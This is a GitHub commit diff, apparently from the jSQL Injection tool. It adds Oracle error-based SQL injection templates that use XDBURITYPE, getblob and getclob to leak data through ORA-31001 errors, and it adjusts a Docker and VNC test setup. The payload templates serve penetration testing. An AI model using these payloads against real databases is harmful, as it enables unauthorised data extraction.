Skip to content

Commit

Permalink
Add VirusTotal retries
Browse files Browse the repository at this point in the history
  • Loading branch information
ron190 committed Jan 25, 2025
1 parent 0209489 commit 47b5042
Show file tree
Hide file tree
Showing 3 changed files with 51 additions and 5 deletions.
34 changes: 33 additions & 1 deletion model/src/main/resources/vendor/oracle.yml
Original file line number Diff line number Diff line change
Expand Up @@ -342,4 +342,36 @@ strategy:
) || '" from sys.dual'
)
) from dual
capacity: 124
capacity: 124
- name: Blob:or
query: |
/* ORA-31001: Invalid resource handle or path name "<sqli>" [SQL State=99999, DB Errorcode=31001] */
or 1=utl_raw.cast_to_varchar2(XDBURITYPE((${window})).getblob())
capacity: 512
- name: Blob:and
query: |
and 1=utl_raw.cast_to_varchar2(XDBURITYPE((${window})).getblob())
capacity: 512
- name: Blob:stack
query: |
; select utl_raw.cast_to_varchar2(XDBURITYPE((${window})).getblob()) from dual
capacity: 512
- name: Clob:or
query: |
/* ORA-31001: Invalid resource handle or path name "<sqli>" [SQL State=99999, DB Errorcode=31001] */
or 1=dbms_lob.substr(XDBURITYPE((${window})).getclob(),0,0)
capacity: 512
- name: Clob:and
query: |
and 1=dbms_lob.substr(XDBURITYPE((${window})).getclob(),0,0)
capacity: 512
- name: Clob:stack
query: |
; select dbms_lob.substr(XDBURITYPE((${window})).getclob(),0,0) from dual
capacity: 512
2 changes: 1 addition & 1 deletion model/src/test/resources/docker/Dockerfile.jsql
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ ENV USER vnc-user-jsql
RUN apt-get update -y || true

# Install VNC support, shell and network tools
RUN apt-get install tigervnc-standalone-server libxtst6 xfonts-base dos2unix iproute2 net-tools iputils-ping git -y
RUN apt-get install xfce4 xfce4-goodies xterm dbus-x11 tigervnc-standalone-server tigervnc-common tigervnc-xorg-extension tigervnc-viewer libxtst6 xfonts-base dos2unix iproute2 net-tools iputils-ping git -y

RUN dos2unix /model/src/test/resources/vnc/execute-on-vnc.sh

Expand Down
20 changes: 17 additions & 3 deletions model/src/test/resources/vnc/execute-on-vnc.sh
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
#!/bin/bash

NEW_DISPLAY=1
NEW_DISPLAY=0
DONE="no"

while [ "$DONE" = "no" ]; do
Expand Down Expand Up @@ -29,9 +29,23 @@ OLD_DISPLAY=${DISPLAY}
touch ~/.Xauthority

echo "Starting vncserver..."
vncsession "$(whoami)" ":${NEW_DISPLAY}"

export DISPLAY=:${NEW_DISPLAY}
vncsession "$(whoami)" ":${NEW_DISPLAY}" || true
vncserver -localhost no || true
(Xvfb -ac ":${NEW_DISPLAY}" -screen 0 1280x1024x24 > /dev/null 2>&1 &) || true
vncserver || true

# Start up the standard system desktop
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
/usr/bin/startxfce4 || true
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup || true
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources || true
(x-window-manager &) || true

#echo "Starting Xvfb..."
#export DISPLAY=:99
#Xvfb -ac :99 -screen 0 1280x1024x24 > /dev/null 2>&1 &

echo MAVEN_NASHORN="${MAVEN_NASHORN}"
echo MAVEN_BYTEBUDDY="${MAVEN_BYTEBUDDY}"
Expand Down

0 comments on commit 47b5042

Please sign in to comment.